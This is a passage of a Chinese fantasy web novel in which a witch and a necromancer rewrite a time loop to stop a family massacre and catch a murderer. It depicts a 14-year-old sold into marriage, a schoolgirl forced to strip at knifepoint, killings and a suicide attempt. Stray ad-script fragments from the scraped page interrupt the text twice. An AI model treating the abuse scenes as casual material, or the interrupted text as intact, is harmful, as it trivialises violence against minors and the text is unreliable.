“她总喜欢自称为姐姐,但实际上跟晓芊一样,比我小了两岁。” 郑颢顿时震惊:“魏笑纤现在才十六岁?那她岂不是十四岁就——” “就被她的亲生父亲逼着嫁给一个四十多岁的跛子,换了三万元聘金。”女巫脸上的疑惑骤然消失,取而代之的,是一抹森冷笑意。 “知了猴,你不妨猜猜看,到底还有什么别的原因,才导致她最终成为你口中‘肮脏的小姐’。” “对不起!是我嘴贱!我知错了!”知了猴火速滑跪。 冯筱迁只是漠然地看了他一眼,什么也没说。 … 【尊敬的主人,虽然你屡次使用违规手段,引起了1号噩梦之主的注意以及不满,但还是恭喜你已成功消除笔仙的因果关系。】 【该副本将在4月30日——即当下的最后一个空间标准时,跨越崩坏的历史线,开启新结局。】 魔法书带着它的夹子音出现的时候,夜幕还未完全降临,女巫、亡灵法师和女孩们已在郑颢家快乐地准备烧烤。 知了猴买的这套伍港区商品房实在很低档,唯一值得称赞的,只有阳台外的这个小花园。 紫藤花架下面搭了个秋千,岑小哉勉为其难地独占了此处,此刻荡得心不在焉,主要是在眼巴巴等着牛肉烤串变熟。 魔法书用一种闷闷不乐的语气宣告了这么个喜讯之后,她当即“嗖”地坐直起来:“开什么玩笑,不是还没把‘终极反派’揪出来搞死吗?” 听到她的质问,某本哨子精发出了阴险的笑声:【日记本的主人不就在那儿满头大汗地烤串呢么。】 女巫面无表情地盯着它。 正当魔法书感觉到有点不妙的时候,它已经来不及撤退,当场就被火焰构成的锁链捆了个结实。 “演得不错,继续。”岑小哉在它假模假样的惨叫声中甩了甩手,悠然躺回秋千椅里面。 【好吧,我承认。之前的确对您进行了不该有的误导,但那只是一次小小的试探而已——真的,我发誓绝不会再有下一次了!】 “为什么要试探我?”女巫接过知了猴双手奉上的烤串,一边开啃,一边冷冷问道。 【……是公司的内置指令。】 居然是哈雷彗星公司给自己挖的坑? 岑小哉愣了好一会儿才回过神,当即骂了一句:“它牡的,万恶的资本家。” 骂完之后倒是就打了个响指,火焰锁链应声而灭,魔法书终于逃过一劫。 “但不管怎样,我还是要把黄德寿它们一网打尽才能放心。”女巫的那双赤金竖瞳睁得溜圆,可见其意已决,没有任何妥协的余地。 而某种程度上,魔法书跟它并不是很尊敬的主人一样心大。 就这会儿,它已迅速忘记自己刚刚差点被烧,尖声尖气地发出了反问:【你们的许晓芊现在完全不可能再被抓去当子母煞,更何况丹庚山烧了,七煞阵的祭坛也毁了,那个姓黄的还能整出什么幺蛾子?】 女巫冷哼一声:“杜倩倩也怀孕了。如果黄德寿将七煞阵的作用告诉卢炯烽,他会如何选择?” 【什么意思?难道随便一个孕妇就能当子母煞?】 “作为一本魔法书,你为什么会跟那只知了猴一样没用?”女巫气得一箭双雕,用语言同时攻击了某人与某书的智商。 “禁术的力量来源于献祭,实际上并不受场地限制,而献祭对象最好是与受益者有着足够紧密的联系,这样才能发挥出禁术力量的最高水平!” 所以女巫大人您又为何如此熟练——郑颢这话当然没敢说出口。 胆小如他,就算听完了全程,也只能以默默飘去一个谴责的眼神,表达自己内心的一言难尽。 同样听完了全程的亡灵法师忍不住叹气,对女巫那种越来越不着边际的对话思维感到绝望。 “玛菲,你是不是应该先考虑一下,要如何从原先的崩坏历史线当中,找出所谓反派的踪迹。” “噢,你说的有道理。”被布兰奇这么一提醒,岑小哉终于想起之前在水晶球投影里看到的那只八目莲蓬蟾蜍。 “喂,魔法书。卢炯烽是不是对胡锐锋动了什么手脚?” 魔法书哼哼唧唧地翻阅了一下自己,用更加闷闷不乐的语气开始讲述—— 【崩坏历史线,4月30日。卢炯烽得知杜倩倩婚前怀孕的真相,对高照怀恨在心。于是,他命令服用了白骨灵芝的胡锐锋,灭了许家满门之后,再去杀了高照。】 【戴玉粒当年出于好心,本打算去探望许晓芊,最后却不得不孤身对付杀红了眼的胡锐锋,救下高照。】 听了这本哨子精的话,亡灵法师一下子没了继续看热闹的心情:“不行,我必须去看看她。” 30. 人行邪道 时间拨回到崩坏历史线中的七年前。 #男子因聘金杀害16岁怀孕女友#这个话题只在云端挂了一天,之后就被替换成#4·30聘金杀人案# 底下评论还有些垃圾不断叫嚣着: “杀得好!聘金侠!” “就该让这些狮子大开口的捞女长长记性!只会欺负老实人!” 但很快也有人开始反驳: “呵,一个个跟犯了狂犬病似的,变态杀人狂预备役是吧?” “兜比脸干净,心还比天高。真以为全世界都盯着它们那仨瓜俩枣呢,笑死。” 骂战持续了三天之后,相关媒体才陆续改成#4·30伍港灭门案# 又过了四天,#高中生勇斗灭门案逃犯#这一话题横空出世,成为最新的云端头条。 高照记得很清楚,因为他和戴玉粒就是新头条所说的主角。但实际上,一系列事情全部都发生在4月30号那个月黑风高的夜晚。 那天晚上,高照一如既往泡在后巷游戏室里,出去透气的时候,居然看到了戴玉粒。 他一开始还以为自己看错了,直到她往卤煮店的方向走去,才确定不是自己日思夜想,出现了错觉。 高照鬼使神差地跟了上去,缀在她身后不到十米的距离。 就在戴玉粒推开卤煮店的大门时,巷旁角落里忽然冲出一个人,抓住了高照,将沾满鲜血的刀架在他脖子上。 “闭嘴!进去!” ——戴玉粒确实是勇斗逃犯的高中生,而高照则是又一次不幸落入逃犯手中的人质。 拿着刀胁持他的胡锐锋整个人看起来特别诡异,口吐白沫,两眼翻白,却又力大无穷。不过他显然还记得,自己曾经被戴玉粒活生生打断了肋骨。 一时间,胡锐锋那颗浑浑噩噩的脑子选择将“杀掉高照”这件事往后挪了挪,他决定先为自己报仇雪恨,好好羞辱面前这个臭丫头。 卤煮店门口长年累月积攒的卤料味道太过浓重,血腥气混杂其中,很难分辨出来。 在推门的前一瞬,戴玉粒脑中已警铃大作,但她才刚转过身,高照已经被一个浑身血淋淋的人挟制着,朝她走过来。 少年人往日里飞扬跋扈的脸上,此刻只剩下一览无余的惶恐和无助。少女身侧攥紧的双拳,忍不住开始轻颤。 她想起许晓芊清秀的面容和微微哽咽的声音——接着是姐姐远去的背影和她胸前不断洇血的伤口。 胡锐锋胁持着高照一步步逼近,戴玉粒一步步倒退,被逼入了卤煮店中。她不敢低头,只能瞪大眼睛,咬紧牙关,直直注视着面前两人。 卤煮店里一片昏暗,地上和墙上到处都是泼洒成片的黝黑血迹。灶台上的卤汤还在咕噜噜煮着,卤料的气味却已盖不住血腥味,反倒交织在一起,浓得令人作呕。 胡锐锋的脸不停抽搐着,勉强扯起嘴角,口水混着胃液哗啦淌下。 “臭丫头!把衣服脱了!” … 女巫所声称的“觉醒”,实际上就相当于七年后的戴玉粒、高照,还有冯筱迁,三人依次魂穿到了七年前还在伍港读高中的自己身上。 灭门案尚未发生,以戴玉粒的性格,绝无可能放任不管。就算在经历了“高悬死而复生”这样的大事之后,她依然决定在4月30号,夜探卤煮店。 月黑风高,隐约虫鸣。 高马尾剪成齐耳短发的少女翻身坐起,将睡衣换成一身黑色运动服,悄无声息地溜出家门,朝伍港一中的后巷飞奔而去。 卤煮店的后阳台下,早已有人守株待兔。 “你来干嘛?”戴玉粒低声问道,同时蹙眉看着挡在自己面前的家伙。 深沉夜色中看不清他的表情,只能听见一声轻笑。 “我?当然是来阻止你做傻事。”高照同样压低了声音。 但戴玉粒显然就没把他的话听进去,直接伸手从他空荡荡的书包里面抽出那根镀锌管。 “这个借我。” 高照笑不出来了,一把扯住她,紧紧握住她的双臂:“戴玉粒,你为什么一定要这样逞强?” “放开我!胡锐锋就要来了,我没时间跟你在这闲聊!” 戴玉粒心急如焚,简直恨不得将他当场打晕算了。 可她越是急着去伸张正义,高照的内心就越发痛苦、愤恨。 他知道,自从高悬死后,戴玉粒就算是在路上看见被车撞死的猫都会有严重的应激反应,更别说去直面血案现场了。 而当初胡锐锋挟持了他的时候,却是逼着戴玉粒在遍地尸骸的卤煮店里面,一件一件脱掉了身上所有衣服,赤着脚踩在黏腻血泊之中。 高照只能眼睁睁地看着。 就像高悬在古堃牺牲时那样。 胡锐锋兴奋到手抖,冰冷刀刃割破了他的皮肉,他也没有察觉。 但在那时候,戴玉粒反倒平静下来。 她甚至还能抓住胡锐锋“发病”的机会,十秒之内夺刀、反杀、救人,一气呵成。 这一切,戴玉粒也全部记得。 所以她才有恃无恐,在4月30号晚上孤身前来,打算阻止这场灭门案。 此刻,高照却说什么也不肯松开她的双手。 戴玉粒忽然停下来,不挣扎了。 她面无表情地盯着高照。 后者顿时愣住,少女倏地把脸往前一凑—— 那家伙吓了一跳,下意识就放了手,还往后踉跄了两步。 戴玉粒的左边唇角勾起细微弧度,甩了甩手,立即就要转身跃上卤煮店后阳台。 “对,没错!你是见义勇为的好学生,那我呢?我成什么了?”高照终于忍不住颤声质问她。 “这么多年来,我在你眼里永远只是害死高悬的废物,什么忙也帮不上,还要连累你被那个狗杂种羞辱……” “戴玉粒,求你别去……”男生佝偻着肩,哭得整个人都在发抖,仿佛想把自己藏进夜色中,“别救我了,我不值得你们的牺牲。” 先回答他的,是女巫的一声冷笑:“如此说来,你就是一只怯懦无能的弱鸡啊。” 而凭空出现在高照面前的亡灵法师抬手就是一拳,狠狠打在他的脸上。 “你凭什么这样质问她!” 高照“嘭”地撞上了旁边老房子的后墙。 这两个变故神出鬼没,让戴玉粒也感到有些错愕。 就在这时,第三个变故也骤然发生—— 卤煮店里传来一阵喧闹,随即“轰”地着火了。 “赶紧救人!” 戴玉粒来不及再多说什么,直接就往阳台上跳。 女巫抬手放出一个瞬间变大的彩色泡泡,将她笼罩起来。 大泡泡将烈焰与浓烟完全隔绝在外,却丝毫不影响戴玉粒翻墙时的敏捷身手。 “布兰奇,看好你的妹妹和弟弟,我去对付上面那个不知死活的东西。”岑小哉随手召唤出她的“魔法扫帚”,一飞冲天。 亡灵法师看了看头也不回地冲进火场的妹妹,又看了看被自己一拳揍翻昏迷在地上的弟弟,小脸上顿时露出了一种很伤脑筋的表情。 她再一次抬手扶额,不明白自己到底为什么会在考试前夕被卷进人类世界受这种莫名其妙的苦。 … 4月30号的这个晚上,注定是个不眠之夜。 后巷的每户人家都被那阵喧闹吵醒,消防车、救护车、警车呼啸而来。 卤煮店烧成一座巨大火堆,李娇娇和儿子被戴玉粒从后阳台救了出来,许老太太还在医院陪护她们家老头子,倒霉的只有许兴邦。 他出去跟人打牌,半夜才回来,正好在开门时迎面撞见了凶手。 第二天,伍港安全署发布了关于“伍港一中后巷入室行凶纵火”一案的情况通报。 “胡锐锋持刀闯入许家,杀害许兴邦,并放火烧屋,自己却一时‘脚滑’撞上灶台晕了过去,最终也被活活烧死。” “医院里的许老爷子听闻噩耗,伤心过度导致脑梗复发,抢救无效去世了。” “胡锐锋死了,五代单传的胡家现在只剩下卢炯烽这个儿子,只能让他改回原姓传承香火。” 听到这里,岑小哉忽然抬手,打断了郑颢的话:“五代单传是什么意思?每一代都只有一个孩子吗?” “哦那倒不是,胡耀祖有八个姐姐。” “等会儿,多少?”女巫以为自己听错了。 “八个。”亡灵法师用手比出两个四。 冯筱迁沉默地揪住自己的衣角,心中依然有恐惧,但更多的是不甘心。 因为胡炯烽很快就会跟杜倩倩结婚,然后离开伍港。 他们接下来会前往古堃,杜家倾尽全力帮助胡炯烽创业。而在发家致富之后,胡炯烽将逐渐暴露他的真面目,与黄德寿狼狈为奸,害得许多人死不瞑目。 有的人作恶多端,居然能摇身一变,成为人生赢家。 郑颢挠了挠头,电光石火间想到了后来发生在秦正浩家的古堃藏头案,顿时恍然大悟:“胡炯烽用‘摇心尸’顶替的那个人,就是杜倩倩?” “的确如此。”岑小哉点点头,右手下意识搓着自己放在一旁的水晶球,“胡炯烽这人心肠歹毒,又睚眦必报。杜倩倩、刘麓诚、秦正浩,还有魏笑纤,都是死在他手里。” 昨夜她在卤煮店上空发现了那团从丹庚山逃走的黑雾,它正作法操纵着胡锐锋入室杀人并放火,冷不丁被女巫捅了一刀,胡锐锋才因此撞晕在灶台边。 岑小哉本打算借着大火将那黑雾烧个一干二净,它竟不知从何处借来了噩梦之主的力量—— 打草惊蛇,大可不必。 女巫开始酝酿新的鬼主意。 “他连杜倩倩都能杀了,会放过那个孩子吗?” 布兰奇的问题引发了一阵沉默。 “什么孩子?”许晓芊问道。她心里其实有个模糊答案,却不太敢说出来,生怕听到太糟糕的结果。 所有人下意识看向女巫。 “噢,你是说杜羽风吗?”岑小哉露出了一抹胜券在握的笑容,“她不会有事的。” 听到魏笑纤最终也死在胡炯烽手里,冯筱迁犹豫再三,终于忍不住开口:“女巫,有没有什么办法,可以改变莉莉的命运?” 【该副本的历史线已经完全闭合!你如果要强行重启,一定会被噩梦之主抓个正着的!】 濒临崩溃的魔法书从虚空中跳出来,金色花纹在封面上疯狂抖动,意外产生了漏电般的视觉效果。 当然,它看起来更想把自己的主人当场电晕过去。 岑小哉盘腿飘浮在半空中,双手搭在膝盖上,满脸慎重地考虑了一会儿—— 她决定假装自己刚刚聋了,听不到魔法书的尖声咆哮。 “是有一个办法。不过,你需要付出一定的代价。” 冯筱迁差一点就要脱口而出,说自己愿意牺牲一切,但许晓芊忽然朝她摇了摇头。 女孩那双清澈的眼睛仿佛在说:别忘了,你也要好好活着。 “冲动、盲目而不计后果的牺牲,大部分时候只是在感动自己。”亡灵法师意味不明地笑了一下。 冯筱迁终于冷静下来。 “我可以把你的意识送回两年前,阻止魏笑纤的生父对她的迫害。但你将会再次跌入崩坏历史线,再次经历这七年间原本可以规避的一切折磨。” 而那些折磨——无数次灵魂层面的死亡,甚至可能会导致她重蹈覆辙,最终变成一个怨气缠身的厉鬼。 “好,我愿意付出这样的代价。” 冯筱迁微笑着闭上双眼,放弃触手可及的那抹曙光,坠入黑暗。 女巫伸出手,白色与绿色的光点在她掌心上方萦绕凝聚,化为一枝茉莉花。 枝桠上盛开着三朵雪白花盏,散发出馥郁香气。 最顶端的一朵变成小小的白蝴蝶,绕着花枝轻盈飞舞——这次,它终于接住了原本会从枝头坠落的另一朵。 … 再次睁开眼时,冯筱迁发现自己正躺在医院里。 “呵,傻丫头。” 一个长发如瀑的美人坐在病床边,恨铁不成钢般斜瞥她一眼,继续削苹果。 “莉莉,我怎么了?”冯筱迁一开口,喉咙就痛得火烧火燎。 “一周前,那个秦正浩先天性心脏病发作,大半夜嗝屁了。嘻,差点把两个跟他过夜的姑娘给吓晕过去。” 魏笑纤挑了挑眉,反问道:“而你,昨天自己一个人在公寓里灌了两瓶伏特加,配一大把安眠药,应该是打算殉情?” 冯筱迁沉默了很久,终于消化了这个莫名其妙的现实:“胡炯烽呢?” “你连这都忘啦?小戴和小许调查了好久才抓住他所有把柄,前天总算收网,把那杂碎抓起来了。” 魏笑纤终于把苹果削好,“咔嚓”啃了一口——合着她就是故意让刚刚洗完胃的冯筱迁眼巴巴看着。 “啧啧啧,迷.奸.下属、杀人碎尸,还想花钱找人换命。这回就算天王老子来了,他胡炯烽都得老老实实吃槍子。” 冯筱迁愣了一会儿,才哑着嗓子问道:“你刚刚说的小许,是许晓芊?” “对啊,咱们许教授嘛!可厉害了我跟你说,她们新唐公共安全大学那个什么‘天鹅计划’搞出来的人工智能哦,居然能找出嫌疑人终端里所有被删掉的记录……” “莉莉,那你呢?你……过得好吗?” 魏笑纤盯着她看了很久,忽然坐直并后仰,倒吸一口冷气:“小冯,要不我还是叫医生来给你重新检查一下吧。” 冯筱迁顿时被她逗得乐不可支。 “算了,看在你脑子还不怎么清楚的份上,我就跟你详细唠嗑唠嗑。”魏笑纤白了她一眼,继续啃苹果。 “从前,有一个叫莉莉的女巫。” “在女巫莉莉十四岁那年的某一天,她走在路上,忽然被一个叫小冯的公主拦住了。小冯公主一把鼻涕一把泪地劝她别回家,因为女巫莉莉家里那个叫魏保荣的老魔鬼,正盘算着用一种非常恶劣、残忍的手段去伤害她。” “女巫莉莉——也就是我!”魏笑纤脸上扬起一抹得意笑容,指了指自己,“回去就灌醉了魏保荣,他想对我动手动脚,我一凳子就把他撂翻了,然后假装哭哭啼啼,跑出去喊救命。” “给他钱的那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个跛子一听自己花了整整三万,最后还得买个‘二手货’,立刻就上门找魏保荣理论去了。” “理论到最后,他俩打起来了。魏保荣随手抓起桌上的酒瓶,给跛子开了瓢,跛子也拿刀把他给砍了。魏世豪那家伙好歹比我大了五岁,他居然躲在屋子里不敢出来,吓得尿了裤子。” “呃,后来呢?”小冯公主瞪大了眼睛,有点不可思议。 “魏保荣死了,跛子进去了。魏世豪半疯半傻,到现在还呆在伍港精神病院里面呢。” “……” 不愧是你啊,莉莉。 即便是在更加糟糕的“从前”,那个跛子也奈何不了十四岁的她。 只要他敢动手,莉莉就敢拼了命地还手,哪怕是打架打到一起进医院,莉莉也从不认输。所以她不到半年就彻底摆脱了跛子,离开伍港去了古堃。 冯筱迁想了想,又小心翼翼地问道:“那你现在的工作,是什么?” 魏笑纤又开始斜瞥她,眼神里分明写着“你个傻丫头竟然连这都给忘了”。 “哼,你猜猜看咯。” … 许晓芊十六岁时通过新唐公共安全大学的领航人才选拔计划,成为该校云端防控专业的学生。后来又留校直博,继续从事通用人工智能方面的研究。 二十三岁这年,许晓芊提前毕业,成为古堃大学的准聘副教授,兼粤州安全总署的云端防控技术顾问。 新唐广播频道为此专门出了一系列专题报道,采访了以许晓芊为首的十位“天鹅计划”项目组科研人员。 “本项目以二十年前封存的强人工智能「和平之盾」为数据模型,最终目标是让它成长为ASI,即超人工智能。其智力无法预测,理论上将拥有比人类更先进的尖端认知功能和高度发达的思维能力。” “基于这种设想,ASI极有可能带来技术爆.炸与巨大的社会变革,势必会引发对潜在风险、伦理问题等各方面的广泛讨论。” “但即便如此——” 许晓芊停顿了一下,直视着镜头,眼神坚定得仿佛在向全世界宣战。 “我们也会秉持着‘朝闻道,夕死可矣’的研究理念,继续探索,永不止步!” 伍港医院的某间病房里,许老太太躺在病床上,强撑着身体推了推旁边的李娇娇:“看啊,咱们家晓茉真是出息了!都能上电视了!” 李娇娇愣了很久,直到被另一张病床上的许函鼎吐了一脸口水,她才回过神。 “妈,不是晓茉,是晓芊啊。”她低下头,继续给胖到没法起床的儿子擦洗身体。 许老太太没搭理她,只痴痴看着墙上的台式终端,嘴里不停念叨着:“真好啊,晓茉上电视了,当大科学家了……” 看着病床上的一老一少,李娇娇忍不住叹了口气。 许家的一切都在七年前那场火灾中化为灰烬,只剩下她独力支撑着这个残破的家。 想来想去,只能怪胡家养的那个畜生,先是祸害了许晓芊,后来还不肯放过她们这一家子。 但李娇娇始终不明白,为什么原本乖巧懂事的大女儿,会在家里出事之后变得那么狠心,一走就是七年,都没想着回来照顾一下家里人。 “算了,各人有各人的命。大丫头现在能当科学家,那也是她命好。”李娇娇洗完手,拎起两个热水壶,向走廊尽头的饮水机走去。 夏日的阳光炽烈得让人睁不开眼,伍港一中的上空却被一团黑雾笼罩着,天色暗得像台风来临。 以此处为中心,周天的云层翻涌而来,逐渐拧成漩涡状的巨大乌云。 伍港一中今天刚好在举办夏季运动会。 全校师生包括家长们都聚集在操场,从上往下俯瞰,就像一团团蚁群。 正上方的天空开始电闪雷鸣。 黑雾盘旋着发出桀桀怪笑: “颤抖吧,蝼蚁们!” “本座将以尔等性命为祭,起法阵,叩天门,召来‘欢喜尊者’现于尘世!” 地面上的人群被这阵仿佛嗡嗡虫声的低语惊动,纷纷抬起头,神色惶然地仰望天际。 “那是什么!是一大群蝗虫吗?还是马蜂?” “不好!它们飞下来了,快跑啊!” 绿茵地上一片混乱,所有人着急忙慌地冲进教学楼、宿舍楼里面躲避,生怕跑慢一步就会被虫群团团围住。 四散狂奔的人群当中,只有两个女孩站在原地,一边做着热身运动,一边嘀嘀咕咕地斗嘴。 “我有没有跟你说过,我这次是要回去参加奇点考核的?” “有啊,你还借着我导师的名头,诅咒我的仙人掌宝宝们没救了,真是可恶!” “……那本魔法书怎么不吱声了?看来,长达一百零七个空间标准日的时空跃迁,果然还是影响到副本的历史线了吧?” “别想转移话题!你老实交代,到底为什——” “哎哎,它来了。” 女孩们抬起头。 左边那个往前一步,足下升起幽蓝冰阶。右边那个张开双臂,划出一道弧形赤金火焰,火弧倏地向两边收缩,凝聚成女孩手掌下的两个火团。 黑雾俯冲而下。 下一秒,烈焰与寒霜兵分两路,如两条巨龙冲天而起,合力将那团嗡嗡乱叫的黑雾打了个猝不及防。 但天上的乌云漩涡仍在电闪雷鸣。 “怎么办?这个献祭仪式召唤的就是噩梦之主本身。它已经回应了召唤,一旦降临,副本世界的这些人类就要遭殃了。” 穿着伍港一中校服的亡灵法师转过头,询问同样装束的女巫。 后者神色不变,冷哼道:“作为祭品的知了猴身上已不再有标记,能够被召唤出来的最多也就是一点点投影,直接掐碎就行。” “噩梦之主的标记有那么容易就能彻底抹除?” “嗯呒,我从他身上回收了那个叫‘此刻你是张三·随机咔咔乱杀’的被动技能,还有他的日记本。” 布兰奇一脸狐疑:“就这?” “呃好吧,我还清除了他脑子里所有与笔仙有关的记忆。” 女巫抬了抬下巴,强装淡定,实则连表情都有点僵硬。 “也就是说,包括我和你,他都会忘记。” 布兰奇一时怔住。 电闪雷鸣的乌云里面却传来一句叹息般的疑问: 【噢,是你?】 “是我。”岑小哉双手叉腰,转身点点头。 噩梦之主发出一声低笑:【不,我是说另一个。】 “……” 女巫垮起个小苦瓜脸的同时,亡灵法师微蹙着眉头,沉声问道:“阿斯蒙蒂斯,你认识我?” 【你离开的时候,有一个人类——他献祭了自己最珍贵的一切,祈求吾能将你复活。】 乌云漩涡中遥遥飘下来一张照片,不偏不倚地飞入布兰奇手中。 女巫瞪圆了她那双赤金竖瞳,想起日记本扉页上那句话:“最喜爱的照片……关于她的秘密……” 那似乎是一张对焦失败的单人照。 作为照片主体的郑颢有点模糊,而背景里无意间路过的高悬,却无比清晰。 31. 梅开二度 半空中,一顶太过无聊的尖顶帽正翻着跟斗,试图抓住自己尾端那颗小毛球。 地板上铺着不规则形状的蒲公英毛毯,岑小哉仰躺在毛毯里面,正盯着自己指尖跳跃的几簇小火苗发呆。 水晶球小明在一旁闪闪发光,它今天被设定的目标是填完一份《魔法世界园丁阶级评审记录表》。 “工作地点?”水晶球问道。 “曼陀罗星系—阿柏基地—婴儿梦境花园。” 其主人答得有气无力。 与此同时,一支黑色羽毛笔正在水晶球里面奋笔疾书。 “称号与姓名?” “女巫玛菲·岑小哉。” “现培育动植物种类?” “梦幻仙人掌。” “现聘专业技术职务?” “三阶园丁。” “聘任时间?” “阿列夫纪元第4202次奇点中期。” 事实证明,整个宇宙里里外外绝对找不出比填写表格更加枯燥无趣的事情了。 “好了。我宣布,今天就到此为止吧!” 岑小哉当机立断,起身拍了拍手。 屋外草原上的蓝天白云大太阳“唰”地消失,换成了月亮和满天繁星。 还没等她再次躺下,静静享受片刻的休闲时光,水晶球已经以一种忐忑不安的语气再次开口: “亲爱的女巫玛菲,您上次成功培育的二阶作品,正试图啃噬您目前所培育的三阶作品……” “你说什么!”女巫玛菲一个咸鱼打挺。 她连滚带爬到卧室边缘,伸手拉开了夜空帷幕,月亮和星星们叮零哐啷地撞成一堆。 远处微微弯曲的地平线上,橘黄色光芒正在不停闪烁,犹如超新星爆发。 “它牡的,那只火箭蝶怎么也开始发癫了?!” 岑小哉转身吹了一口气,蒲公英地毯迅速散开,底下的魔法阵瞬间亮起,上方浮现变幻不停的蓝紫辉光。 她跃入魔法阵发出的这抹极光,来到二楼。 女巫踮着脚,跳过那些大大小小五彩缤纷吞云吐雾的烧瓶、烧杯、试管,“唰”地拉开无穷无尽抽屉的其中一个—— “出什么事了,伙计?” 一只瘦小的灰兔子探出上半身,左手搭在抽屉边上,懒散地嚼着根胡萝卜。 “不好意思,斐波那契先生。‘出口’搞错了我,打扰了。” 岑小哉脸上的笑容有点扭曲,抬手将它摁了回去。 “咱们有空再聊。” “行吧,祝你好运。”兔子先生闷闷的声音从抽屉格板后面传出来。 女巫火速打开下一个抽屉,头也不回地跳了进去。 半秒后,她出现在梦幻仙人掌苗圃里面。 某个紫发黑袍的身影已先一步抵达这座婴儿梦境花园,施法将那只到处乱窜且浑身爆闪的火箭蝶冻在巨型冰块中。 出于对水果——尤其是草莓的热爱,亡灵法师布兰奇对保鲜技术型魔法的掌握可谓出神入化。 火箭蝶的鳞粉洒遍了整片苗圃,光泽如宝石火彩,却散发出一股类似黑椒拌硫磺的呛人味道。 岑小哉兜转了几圈,确认所有封存在泡泡里的仙人掌宝宝们连皮都没蹭破,这才松了一口气。 “玛菲,你的这些梦幻仙人掌还真是多灾多难。先是被噩梦侵袭、污染,现在又差点被火箭蝶当成育婴室,看来麦克林托克教授的担心不无道理啊。”布兰奇摇头叹息。 一只巴掌大的骷髅小猴坐在她肩膀上,也跟着摇了摇头。 “魔法书说,1号副本里面几乎所有恶意都源于‘色慾’。” 看在亡灵法师刚刚帮忙抢救了仙人掌宝宝的份上,女巫撇了撇嘴,不跟她计较。 “毛毛虫车破茧而出的时候,吸收了阿斯蒙蒂斯所有魔力,所以才会在蜕变成火箭蝶之后产生了本不该有的——” 发.情.期。 … 走出婴儿梦境花园那座五彩斑斓的花藤拱门,女巫和亡灵法师回到树屋一楼。 二楼的一只银质雕花茶壶带着两只银质雕花茶杯,从橱柜上慢悠悠飞进自动打开的抽屉,随即落在主人和客人面前的茶几上,动作轻盈如芭蕾舞者。 “红茶,还是,咖啡?”茶壶细声细气地问道。 “红茶加奶七分糖,谢谢。” 布兰奇笑眯眯说完,肩上那只骷髅小猴忽然用尾骨轻轻勾了勾她的头发,上下颌骨快速张合,碰出一阵清脆声响。 “哒卡想要一块水果布丁,我也是。” “好的。”茶几瓮声瓮气地应道。 一大一小两个蓝色泡泡凭空出现,又化作寒汽消融,留在茶几上的正是客人们想要的两份水果布丁。 岑小哉瘫在沙发上打了个哈欠,满头乱炸的冰蓝色卷发中闪过几点细碎金色流光。 “说起来也是让人有点难以置信,因为1号噩梦受害者,居然就是这本日记本。” 茶壶和茶杯旁边的日记本很应景地发出一阵嘤嘤嘤。 “因果置换仪式让它不幸沦为‘终极反派’的日记本,它觉得自己脏了。” “噗——” 布兰奇刚喝进嘴里的茶全部喷了出来,落地之前及时化为无数冰屑。 一只垃圾桶从角落里狂奔过来,将凝结成团的冰屑全部接住,总算没有弄脏章鱼管家出门采购之前认真清洁过的地板。 亡灵法师擦了擦嘴,感慨道:“某种程度上来说,倒是很符合人类世界的思维模式。” “哧,有些人类对于‘肮脏’的定义,根本就是一种损人利己的概念污染。” 一个与许多异性有过交往的女性会被加诸“荡.妇”“公交车”之类的污名,而换做男性,则被奉为风流多情、魅力超群的“情圣”,甚至连阿斯蒙蒂斯都以此作为反向选择祭品的标准—— 这难道不是很可笑吗? 岑小哉忍不住翻了个白眼。 “只是,二十一又失去了一次投胎机会。”布兰奇的语气中带着浅浅遗憾,“我觉得,许晓芊应该会是一个好母亲。” “这个胎不投也罢。还没出世就被迫拥有一个作恶多端的罪犯父亲,我才不会让二十一受这种莫名其妙的苦,就算是曾经的许晓芊也没蠢到这种地步。” 女巫端起茶杯,吸溜了一大口无糖拿铁。 “更何况,无论从哪一种可能性来看,SWAN都比任何一个婴儿更需要许晓芊这位‘母亲’。没有SWAN的技术支持,探员姐姐她们很难在短时间内集齐所有证据,胡炯烽也会继续逍遥法外,害死更多人。” 布兰奇将小哒卡放在桌上,以便亡灵宠物享用属于它的小份水果布丁。 “我起先还以为,如果1号噩梦之主是阿斯蒙蒂斯的话,可能会选择胡炯烽兄弟俩这种欲.念深重的人类作为祭品,结果却……” “恶意源于‘色慾’,的确是一个非常容易导致误判的因素。” 女巫点点头,随后打了个响指。 “让我们来听听魔法书最 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 终收录的1号副本生成原因——” 那本紫黄相间的书籍从虚空中缓缓挪出,用一种很想死又死不了的语气念出自己的记录: 【崩坏历史线中,杜倩倩大闹公司,以‘离婚让胡炯烽净身出户’威胁他,结果反倒被胡炯烽活活掐死在家里。】 【杀妻之后,胡炯烽从古堃安全署里面捞出黄德寿,让他用禁术将魏笑纤炼成‘摇心尸’,遮掩杜倩倩死亡的事实。而后,黄德寿又催眠刘麓诚,让他在车祸中丧生,以达成因果置换仪式。】 【刘麓诚化为恶灵,受黄德寿驱使,带着杜倩倩的头颅嫁祸‘秦正浩’并向他索命……】 状态萎靡的魔法书话还没说完,就被女巫抬手推回了虚空中。 在场的所有生物实在受不了它的那把夹子音,连骷髅小猴都忍不住举起爪子抱头乱窜。 岑小哉叹了口气,抬手揉了揉脑袋:“当时,我刚好被日记本带到‘秦正浩’家里,为了保住1号祭品的这条小命,就将刘麓诚的怨气切成七份,分散到李万兴、高照等七人身上。” 亡灵法师握着茶杯,沉默了一会儿,终于问道:“而在此之前,‘秦正浩’就已经变成了郑颢,是吗?” “确实如此。”女巫将杯子里的焦苦液体一饮而尽,“布兰奇,看来你早已获悉知了猴的另一个秘密。” 茶几上再次升起一个白色泡泡,破碎之后露出一列旧得褪了色的乐高小火车。 隐约有女孩天真的话语和男孩的笑声从这件玩具中传出: “我将来长大了想去开火车,专门运送水果的那种。” “这样,我就能吃到天底下最新鲜的草莓啦!” 高照和戴玉粒出生那一年,十岁的高悬在寒假独自从古堃偷偷跑去伍港找妈妈,在火车上认识了一个十三岁的孤儿。 他是个天阉,因为这种无法弥补的生理缺陷,还没满月就被父母遗弃在伍港的启点孤儿院门口,从此在孤儿院那一片破旧危房里面艰难长大。 乐高小火车是他去古堃参加粤州编程大赛时买下的纪念品,还没捂热就当成礼物送给了与他萍水相逢的“小悬”。 在那次大赛上,他荣获二等奖,被古堃实验学校破例招生,最终与高悬成为同校师兄妹。 